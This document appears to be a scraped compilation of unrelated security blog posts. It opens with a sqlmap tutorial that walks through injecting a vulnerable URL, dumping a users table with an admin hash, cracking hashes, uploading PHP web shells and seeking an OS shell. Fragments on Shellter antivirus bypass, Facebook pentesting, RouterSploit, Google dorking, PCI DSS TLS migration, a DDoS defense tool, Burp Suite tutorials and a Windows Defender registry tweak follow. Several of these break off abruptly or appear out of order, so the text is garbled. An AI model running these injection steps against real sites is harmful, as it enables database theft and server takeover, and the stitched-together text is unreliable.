Sqlmap is one of the most popular and powerful sql injection automation tool out there. Given a vulnerable http request url, sqlmap can exploit the remote database and do a lot of hacking like extracting database names, tables, columns, all the data in the tables etc. It can even read and write files on the remote file system under certain conditions. Written in python it is one of the most powerful hacking tools out there. Sqlmap is the metasploit of sql injections.

Sqlmap is included in pen testing linux distros like kali linux, backtrack, backbox etc. On other distros it can be simply downloaded from the following url

Since its written in python, first you have to install python on your system. On ubuntu install python from synaptic. On windows install activestate python.

For the list of options and parameters that can be used with the sqlmap command, check the sqlmap documentation at
https://github.com/sqlmapproject/sqlmap/wiki/Usage

In this tutorial we are going to learn how to use sqlmap to exploit a vulnerable web application and see what all can be done with such a tool.

To understand this tutorial you should have thorough knowledge of how database driven web applications work. For example those made with php+mysql.

Vulnerable Urls

Lets say there is a web application or website that has a url in it like this

http://www.site.com/section.php?id=51

and it is prone to sql injection because the developer of that site did not properly escape the parameter id. This can be simply tested by trying to open the url

http://www.site.com/section.php?id=51'

We just added a single quote in the parameter. If this url throws an error or reacts in an unexpected manner then it is clear that the database has got the unexpected single quote which the application did not escape properly. So in this case this input parameter "id" is vulnerable to sql injection.

Hacking with sqlmap

Now its time to move on to sqlmap to hack such urls. The sqlmap command is run from the terminal with the python interpreter.

python sqlmap.py -u "http://www.site.com/section.php?id=51"

The above is the first and most simple command to run with the sqlmap tool. It checks the input parameters to find if they are vulnerable to sql injection or not. For this sqlmap sends different kinds of sql injection payloads to the input parameter and checks the output. In the process sqlmap is also able to identify the remote system os, database name and version. Here is how the output might look like

[*] starting at 12:10:33

[12:10:33] [INFO] resuming back-end DBMS 'mysql' 
[12:10:34] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[12:10:37] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5

So the sqlmap tool has discovered the operating system, web server and database along with version information. Even this much is pretty impressive. But its time to move on and see what more is this tool capable of.

Discover Databases

Once sqlmap confirms that a remote url is vulnerable to sql injection and is exploitable the next step is to find out the names of the databases that exist on the remote system. The "--dbs" option is used to get the database list.

$ python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs

The output could be something like this

[*] starting at 12:12:56

[12:12:56] [INFO] resuming back-end DBMS 'mysql' 
[12:12:57] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[12:13:00] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:13:00] [INFO] fetching database names
[12:13:00] [INFO] the SQL query used returns 2 entries
[12:13:00] [INFO] resumed: information_schema
[12:13:00] [INFO] resumed: safecosmetics
available databases [2]:
[*] information_schema
[*] safecosmetics

The output shows the existing databases on the remote system.

Find tables in a particular database

Now its time to find out what tables exist in a particular database. Lets say the database of interest over here is 'safecosmetics'

Command

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D safecosmetics

and the output can be something similar to this

[11:55:18] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[11:55:18] [INFO] fetching tables for database: 'safecosmetics'
[11:55:19] [INFO] heuristics detected web page charset 'ascii'
[11:55:19] [INFO] the SQL query used returns 216 entries
[11:55:20] [INFO] retrieved: acl_acl
[11:55:21] [INFO] retrieved: acl_acl_sections                                                                                
........... more tables

isnt this amazing ? it if ofcourse. Lets get the columns of a particular table now.

Get columns of a table

Now that we have the list of tables with us, it would be a good idea to get the columns of some important table. Lets say the table is 'users' and it contains the username and password.

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D safecosmetics -T users

The output can be something like this

[12:17:39] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:17:39] [INFO] fetching columns for table 'users' in database 'safecosmetics'
[12:17:41] [INFO] heuristics detected web page charset 'ascii'
[12:17:41] [INFO] the SQL query used returns 8 entries
[12:17:42] [INFO] retrieved: id
[12:17:43] [INFO] retrieved: int(11)                                                                                         
[12:17:45] [INFO] retrieved: name                                                                                            
[12:17:46] [INFO] retrieved: text                                                                                            
[12:17:47] [INFO] retrieved: password                                                                                        
[12:17:48] [INFO] retrieved: text                                                                                            

.......

[12:17:59] [INFO] retrieved: hash
[12:18:01] [INFO] retrieved: varchar(128)
Database: safecosmetics
Table: users
[8 columns]
+-------------------+--------------+
| Column            | Type         |
+-------------------+--------------+
| email             | text         |
| hash              | varchar(128) |
| id                | int(11)      |
| name              | text         |
| password          | text         |
| permission        | tinyint(4)   |
| system_allow_only | text         |
| system_home       | text         |
+-------------------+--------------+

So now the columns are clearly visible. Good job!

Get data from a table

Now comes the most interesting part, of extracting the data from the table. The command would be

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D safecosmetics -T users

The above command will simply dump the data of the particular table, very much like the mysqldump command.
The output might look similar to this

+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
| id | hash               | name      | email     | password | permission | system_home | system_allow_only |
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
| 1  | 5DIpzzDHFOwnCvPonu | admin     | <blank>   | <blank>  | 3          | <blank>     | <blank>           |
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+

The hash column seems to have the password hash. Try cracking the hash and then you would get the login details rightaway. sqlmap will create a csv file containing the dump data for easy analysis.

So far we have been able to collect a lot of information from the remote database using sqlmap. Its almost like having direct access to remote database through a client like phpmyadmin. In real scenarios hackers would try to gain a higher level to access to the system. For this, they would try to crack the password hashes and try to login through the admin panel. Or they would try to get an os shell using sqlmap.

What Next ?

Execute arbitrary sql queries

This is probably the easiest thing to do on a server that is vulnerable to sql injection. The --sql-query parameter can be used to specify a sql query to execute. Things of interest would be to create a user in the users table or something similar. Or may be change/modify the content of cms pages etc.

Another paramter --sql-shell would give an sql shell like interface to run queries interactively.

Get inside the admin panel and play

If the website is running some kind of custom cms or something similar that has an admin panel, then it might be possible to get inside provided you are able to crack the password retrieved in the database dump. Simple and short length passwords can be broken simply by brute forcing or google.com.

Check if the admin panel allows to upload some files. If an arbitrary php file can be uploaded then it be a lot greater fun. The php file can contain shell_exec, system ,exec or passthru function calls and that will allow to execute arbitary system commands. Php web shell scripts can be uploaded to do the same thing.

Shell on remote OS

This is the thing to do to completely takeover the server. However note that it is not as easy and trivial as the tricks shown above. sqlmap comes with a parameter call --os-shell that can be used to try to get a shell on remote system, but it has many limitations of its own.

According to the sqlmap manual

It is possible to run arbitrary commands on the database server's underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.

The most important privilege needed by the current database user is to write files through the database functions. This is absent in most cases. Hence this technique will not work in most cases.

Note

1. Sometimes sqlmap is unable to connect to the url at all. This is visible when it gets stuck at the first task of "testing connection to the target url". In such cases its helpful to use the "--random-agent" option. This makes sqlmap to use a valid user agent signature like the ones send by a browser like chrome or firefox.

2. For urls that are not in the form of param=value sqlmap cannot automatically know where to inject. For example mvc urls like http://www.site.com/class_name/method/43/80.

In such cases sqlmap needs to be told the injection point marked by a *

http://www.site.com/class_name/method/43*/80

The above will tell sqlmap to inject at the point marked by *

3. When using forms that submit data through post method then sqlmap has to be provided the post data in the "--data" options.

Shellter is found at the website www.shellterproject.com and is a shellcode injector. I have been using the tool to demonstrate to customers how simple it is to bypass antivirus (AV) detection using programs that would have otherwise been detected as suspicious or possible threats within typical from AV analysis engines.

Disclaimer – Our tutorials are designed to aid aspiring pen testers/security enthusiasts in learning new skills, we only recommend that you test this tutorial on a system that belongs to YOU. We do not accept responsibility for anyone who thinks it’s a good idea to try to use this to attempt to hack systems that do not belong to you

The Install

To install Shellter on Kali Linux use the following commands:
apt-get update
apt-get install shellter

Foreword

As a pentester, I love server-side vulnerabilities more than client-side ones. Why? Because it’s way much cooler to take over the server directly and gain system SHELL privileges. <(￣︶￣)>
Of course, both vulnerabilities from the server-side and the client-side are indispensable in a perfect penetration test. Sometimes, in order to take over the server more elegantly, it also need some client-side vulnerabilities to do the trick. But speaking of finding vulnerabilities, I prefer to find server-side vulnerabilities first.
With the growing popularity of Facebook around the world, I’ve always been interested in testing the security of Facebook. Luckily, in 2012, Facebook launched the Bug Bounty Program, which even motivated me to give it a shot.

RouterSploit consists of various modules that aids penetration testing operations:

In the last article, we had reported how Iranian hackers were able to glean information from Google about the dams in US cities in order to infiltrate and flood the cities. The hackers used a method known as Google Dorking which has been used ever since Google was launched.

The Payment Card Industry Data Security Standard (PCI DSS) is conventionally released every three years. In Nov 2013, PCI DSS v.3.0 of PCI DSS was released with the next revision expected to be released in 2016. However, in April 2015, PCI Security Standards Council released an untimely version PCI DSS v.3.1. The reason behind this was to overcome threats imposed by early Transport Layer Security (TLS) and Secure Sockets Layer (SSL) protocols. Though SSL was succeed in 1999 by TLS, it was still being used until 2014 till the discovery of browser attack POODLE. Furthermore, discovery of other unfixable vulnerabilities like FREAK and WinShock resulted in PCI SSC disapproving their use and release the update ahead of time.

The revision states that SSL and early versions of TLS cannot be used anymore as they are weak encryption protocols for sending cardholder data across web servers and browsers.

The requirements that are directly affected by PCI DSS v3.1 are:

2.3 – (Requires encryption for services and protocols such as VPNs, FTP, Telnet, file share, etc.)
3 – (Requires encryption for non-console administrative access)
1 – (Requires encryption and implementation of security protocols to protect cardholder data during transmission over open, public networks.)

How to Know if your Organization is using SSL/TLS?

SSL/TLS protocol is commonly used for encryption purposes. There is a high possibility that your organization is using it to transmit critical information over unsecured network. For identifying SSL/TLS version being used, call the vendor and ask for the version. Then update or reconfigure your software accordingly.

Always keep in mind to conduct internal and external vulnerability scans for identifying unsecured SSL-based applications. If you are using windows XP, always know that the operating system is not supported and also running outdated browser versions or Internet Explorer is an open invitation to malicious individuals.

What Needs to be Done?

Merchants were forbidden to use early TLS and SSL in any new technology after April 2015. Furthermore, after June 2016, these cannot be used as security protocols for cardholder data protection. Merchants that are already using technologies based upon these protocols need to create and implement risk mitigation and migration plan. The migration plan needs to be detailed and implemented before deadline. Point of Sale (PoS) terminals that have never been exposed to vulnerabilities of TLS and SSL can continue to use these protocols after 30th June, 2016.

Plan of action depends upon your need for upgradation or reconfiguration of the system, or a little bit of both.

Disable SSL 3.0 in your software to reconfigure. Take instructions from vendor or from online forums.
Buy latest software version from vendor to upgrade and configure for latest TLS version.
Encrypt data with strong application or field level cryptography before transmitting data over early TLS or SSL.

To make sure no vulnerabilities are found, conduct penetration tests and vulnerability scans. Apply “automatic updates” settings in browser.

What Can E-Commerce Websites Do to Eliminate SSL / Early TLS?

E-commerce websites can be easily affected by SSL and early TLS related threats because of their web-based interface. Until migration is done, servers should be reduced to a minimum number to minimize any loss resulting from potential threats. If migration cannot be carried out at once, the reason for this should be documented and mentioned in Risk Mitigation and Migration Plan.

What Can Small Merchants Do to Eliminate SSL / Early TLS?

According to PCI DSS v.3.1 update, Small merchants are also supposed to remove SSL / early TLS protocols from cardholder data environment for ensuring security of data. For POS terminal security, small merchants need to contact terminal providers or merchants banks for SSL vulnerability assessments. Other interfaces like servers, virtual payment terminals and user computers should be validated and an immediate action for upgradation or reconfiguration should be undertaken.

Migrating Safely from SSL/Early TLS

PCI SSC has suggested the following outline to migrate from SSL/Early TLS to another alternate:

Identify data flows and system components that support vulnerable protocols.
Identify the business or technical need to use the vulnerable protocol for each data flow or system component.
Remove all such occurrences of vulnerable protocols which are not supported by a business or a technical need.
Identify which technologies can replace the protocols and also develop complete documentation of secure configurations that are planned for implementation.
Document the migration plan that outlines steps and timeframes of each update.
Deploy controls of risk reduction to counter the effect of known vulnerabilities till all vulnerable protocols are permanently removed.
Follow the change control procedures to make sure that all updates are authorized.
Upgrade system configuration standards after migration process is complete.

Source: Infosecnewswire

Bohatei, a free DDoS defense tool that works using SDN and NFV. This tool defense 500Gbps DDoS attack and successfully handle any dynamic attack scenarios.

Features and File information:

An implementation of the FlowTags framework for the OpenDaylight controller
An implementation of the resource management algorithms
A topology file that was used to simulate an ISP topology
Scripts that facilitate functions such as spawning, tearing down and retrieving the topology.
Scripts that automate and coordinate the components required for the usecases examined.

The folder “frontend” contains required files for the web interface. For the experiments performed, we used a set of VM images that contain implementations of the strategy graphs for each type of attack (SYN Flood, UDP Flood, DNS Amplification and Elephant Flow). Those images will become available at a later stage.

The tools that were used for those strategy graphs are the following:

Bro
Snort
Balancer
Iptables
Iperf
Custom scripts to simulate the attacks

Short video about Bohatei

For more information about Bohatei you can visit Github. You can check out Bohatei papers here and slides here.

Free Download: Bohatei (from github)

Source: Latesthackingnews

In the last article we introduced some of the useful features that Burpsuitehas to offer when performing a Web Application Penetration Test. In part 2 of this series we will explore some additional functionality including: Validating Scanner Results, Exporting Scanner Reports, Parsing XML Results, Saving a Burp Session and Burp Extensions. Lets get right to it!

Burp Suite Tutorial – Validating Scanner Results

Its always a good idea to thoroughly validate the results of any automated scanning tool. Burpsuite provides everything you need to do this on the “Scanner/Results” tab. Click on a node in the left pane to see the identified vulnerabilities associated with that target. The right-hand lower pane displays the verbose Request/Response information pertaining to the specific vulnerability selected from the right-hand upper pane.

The “Advisory” tab contains information about the vulnerability including a high-level detail, description and proposed recommendation. The “Request” & “Response” tabs will display exactly what Burpsuite sent to the target application in order to check for the vulnerability as well as what was returned by the application. Take a look at the example below.

Burp Suite Tutorial - Validating Scanner Results

Figure #1 – Validating Scanner Results

Burp Suite from Portswigger is one of my favorite tools to use when performing a Web Application Penetration Test. The following is a step-by-step Burp Suite Tutorial. I will demonstrate how to properly configure and utilize many of Burp’s features. After reading this, you should be able to perform a thorough web application penetration test. This will be the first in a two-part article series.

Don’t Go To Jail!

What we will cover:

Outbound SOCKS Proxy Configuration
Intercept & Scope Configuration
Manual Application Walkthrough
Using The Spider & Discover
Using The Repeater Tab
Using The Intruder Tab
Text Specific Searching
Using The Automated Scanner

Disclaimer: Testing web applications that you do not have written authorization to test is illegal and punishable by law.

Burp Suite Tutorial – Configure Outbound SOCKS Proxy

Depending on the scope of your engagement, it may be necessary to tunnel your burp traffic through an outbound socks proxy. This ensures that testing traffic originates from your approved testing environment. I prefer to use a simple SSH which works nicely for this purpose. SSH out to your testing server and setup a socks proxy on your localhost via the ‘–D’ option like this.

ssh –D 9292 –l username servername

Navigate to the Options tab located near the far right of the top menu in Burp. From the “Connections” sub-tab, Scroll down to the third section labeled “SOCKS Proxy”. Type in localhost for the host option and 9292 for the port option.

Burp Suite Tutorial - SOCKS Proxy Settings

Now burp is configured to route traffic through your outbound SSH tunnel. Configure your browser’s proxy settings to use burp. Navigate to www.whatismyip.com and ensure your IP address is coming from your testing environment.

#ProTip I use a separate browser for web application testing. This ensures I don’t accidently pass any personal data to one of my client’s sites such as the password to my gmail account for example.

I also prefer to use a proxy switching addon such as “SwitchySharp” for Google Chrome. This allows me to easily switch back and forth between various proxy configurations that I might need during different engagements. Here is what my configuration settings look like for Burp.

Burp Suite Tutorial - SwitchySharp Proxy Settings

Figure #2 – SwitchySharp Proxy Settings

Burp Suite Tutorial – Configure Intercept Behavior

The next thing I do is configure the proxy intercept feature. Set it to only pause on requests and responses to and from the target site. Navigate to the “Proxy” tab under the “Options” sub-tab. The second and third headings display the configurable options for intercepting requests and responses. Uncheck the defaults and check “URL Is in target scope”. Next turn intercept off as it is not needed for the initial application walkthrough. From the “Intercept” sub-tab ensure that the toggle button reads “Intercept is off”

Burp Suite Tutorial - Proxy Intercept Settings

Figure #3 – Proxy Intercept Settings

Burp Suite Tutorial – Application Walkthrough

For some reason, a lot of people like to skip this step. I don’t recommend this. During the initial walkthrough of your target application it is important to manually click through as much of the site as possible. Try and resist the urge to start analyzing things in burp right a way. Instead, spend a good while and click on every link and view every page. Just like a normal user might do. Think about how the site works or how it’s “supposed” to work.

You should be thinking about the following questions:

What types of actions can someone do, both from an authenticated and unauthenticated perspective?
Do any requests appear to be processed by a server-side job or database operation?
Is there any information being displayed that I can control

If you stumble upon any input forms, be sure to do some manual test cases. Entering a single tick and hit submit on any Search form or zip code field you come across. You might be surprised at how often security vulnerabilities are discovered by curious exploration and not by automated scanning.

Burp Suite Tutorial – Configure Your Target Scope

Now that you have a good feel for how your target application works its time to start analyzing some GETs and Posts. However, before doing any testing with burp it’s a good idea to properly define your target scope. This will ensure that you don’t send any potentially malicious traffic to websites that you are not authorized to test.

#ProTip I am authorized to test www.pentestgeek.com. *You* are not.

Head over to the “Target” tab and then the “Site map” sub-tab. Select your target website from the left display pane. Right click and choose “Add to scope’. Next highlight all other sites in the display pane, right click and select Remove from scope. If you’ve done this correctly your scope should look something like the image below.

Figure #4 – Scope Settings

Burp Suite Tutorial – Initial Pilfering

Click on the “Target” tab and the “Site Map” sub tab. Scroll down to the appropriate site branch and expand all the arrows until you get a complete picture of your target site. This should include all of the individual pages you browsed as well as any javascript and css files. Take a moment to soak all of this in, try and spot files that you don’t recognize from the manual walkthrough. You can view the response of each request in a number of different formats located on the “Resposne” tab of the bottom right display pane. Browse through each respond searching for interesting gems. Things you might be surprised to find include:

Developer comments
Email addresses
Usernames & passwords if you’re lucky
Path disclosure to other files/directories
Etc…

Burp Suite Tutorial – Search Specific Keywords

You can also leverage burp to do some of the heavy lifting for you. Right click on a node, from the “Engagement tools” sub-menu select “Search”. One of my favorite searches is to scan for the string “set-cookie”. This lets you know which pages are interesting enough to require a unique cookie. Cookies are commonly used by web application developers to differentiate between requests from multiple site users. This ensures that user ‘A’ doesn’t get to view the information belonging to user ‘B’. For this reason it is a good idea to identify these pages and pay special attention to them.

Figure #5 – Search Specific Keywords

Burp Suite Tutorial – Using Spider and Discover

After a good bit of manual poking and prodding it’s usually beneficial to allow burp to spider the host. Just right click on the target’s root branch in the sitemap and select “Spider this host”.

Figure #6 – Spider Feature

Once the spider has finished, go back to your site-map and see if you picked up any new pages. If you have, take a manual look at them in your browser and also within burp to see if they produce anything interesting. Are there any new login prompts, or input boxes for example? If you’re still not satisfied with all that you have found you can try Burp’s discovery module. Right click on the target site’s root branch and from the “Engagement tools” sub-menu select “Discover Content”. On most sites this module can and will run for a long time so it’s a good practice to keep an eye on it. Make sure that it completes or shut it off manually before it runs for too long.

Burp Suite Tutorial – Using The Repeater

The Repeater tab is arguably one of the most useful features in Burp Suite. I use it hundreds of times on every web application that I test. It is extremely valuable and also incredibly simple to use. Just right click on any request within the “Target” or “Proxy” tab and select “Send to Repeater”. Next click over to the “Repeater” tab and hit “Go”. You will see something like this.

Figure #7 – The Repeater

Here you can manipulate any part of the HTTP request headers and see what the response looks like. I recommend spending some good time here playing with every aspect of the HTTP request. Especial any GET/POST parameters that are besting sent along with the request.

Burp Suite Tutorial – Using The Intruder

If you are limited on time and have too many requests and individual parameters to do a thorough manual test. The Burp Intruder is a really great and powerful way to perform automated and semi-targeted fuzzing. You can use it against one or more parameters in an HTTP request. Right click on any request just as we did before and this time select “Send to Intruder”. Head over to the “Intruder” tab and click on the “Positions” sub-tab. You should see something like this.

Burp Suite Tutorial - Intruder Positions

Figure #8 – Intruder Positions

I recommend using the “Clear” button to remove what is selected at first. The default behavior is to test everything with an ‘=’ sign. Highlight the parameters you wan’t to fuzz and click “Add”. Next you need to go to the “Payloads” sub-tab and tell Burp which test cases to perform during the fuzzing run. A good one to start off with is “Fuzzing – full”. this will send a number of basic test cases to every parameter that you highlighted on the “Positions” sub-tab.

Figure #9 – Intruder Payloads

Burp Suite Tutorial – Automated Scanning

The last thing that I do when testing a web application is perform an automated scan using Burp. Back on your “Site map” sub-tab, right click on the root branch of your target site and select “Passively scan this host”. This will analyze every request and response that you have generated during your burp session. It will produce a vulnerability advisor on the “Results” sub-tab located on the “Scanner” tab. I like to do the passive scan first because it doesn’t send any traffic to the target server. Alternatively you can configure Burp to passively analyze requests and responses automatically in the “Live scanning” sub-tab. You can also do this for Active Scanning but I do not recommend it.

When doing an active scan I like to use the following settings.

Burp Suite Tutorial - Active Scan Settings

Figure #10 – Active Scan Settings

Burp Suite Tutorial – End Of Part1

Hopefully you’ve learned some useful techniques for performing Web Application Penetration Testing. In Part 2, we will go over some more of Burp’s features. We will cover reporting and exporting session data for collaboration with other pentesters. I look forward to seeing you there. Thank you for reading and as always, Hack responsibly.

Source: pentestgeek.com

Windows Registry hack can make your Windows Defender a super adware killer

Everyone hates including me hates adware. They are worst unwanted critters of any operating system especially Windows 7/8.1 or the newly released Windows 10. Though there are several trusted Apps to remove such malware it is always better to have a native application that can kill such adware in the bud.

Yesterday Microsoft announced that its new enterprise security products come with a new feature that also stops potentially unwanted software and adware. The functionality was actually first made available to enterprises. To protect them against unwanted applications, Microsoft added a new opt-in feature to the enterprise solutions System Center Endpoint Protection (SCEP) and Forefront Endpoint Protection (FEP). Combined with Windows Defender these applications are able to block downloading and installing unwanted software. The Windows Defender detect and remove now also potentially unwanted applications (PUAs) such as adware that piggybacking is installed with freeware tools.

However this was only for enterprises and businesses. Luckily for us, a German website, Heise has discovered that tweaking the Windows Defender entry in the Windows Registry can make it a potent adware killer. Windows Defender is Microsoft’s security solution and available on all systems since Windows 8, it can be considered the successor to Microsoft’s Security Essentials.

Easy registry hack makes Windows Defender an adware killer

Courtesy Heise

How to go about it

Heise has discovered that using a registry hack it’s also possible to consumers to get the additional protection. According to Heise the hack works well in Windows 7, Windows 8.1 and Windows 10 Home and Pro versions. It can easily kill the adware once you make changes in your Registry Keys.

How To Open Registry Editor

In Windows 10 or Windows 8.1, right-click or tap-and-hold the Start button and then choose Run. Prior to Windows 8.1, Run is most easily available from the Apps screen.In Windows 7 or Windows Vista, click on Start.In Windows XP, click on the Start button and then click Run….
In the search box, or Run window, type the following:
```
regedit
```
and then press Enter.

Note: Depending on your version of Windows, and how it’s configured, you may see a User Account Control dialog box where you’ll need to confirm that you want to open Registry Editor.
Registry Editor will open.

To activate the adware killer feature in Windows Defender an entry in the registry under “HKEY_LOCAL_MACHINE \ Software \ Policies \ Microsoft \ Windows Defender \ MpEngine” with a DWORD named “MpEnablePus” with the value “1” is to be made.

To enable the feature you can add the text below to ‘defender.reg’. After you open the file the changes are made. You can also download this file (save as). Double click on the file and it will automatically be saved in the Registry.

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\MpEngine] “MpEnablePus”=dword:00000001

Do remember to backup your Registry before embarking on this hack. Also kindly do it at your own risk.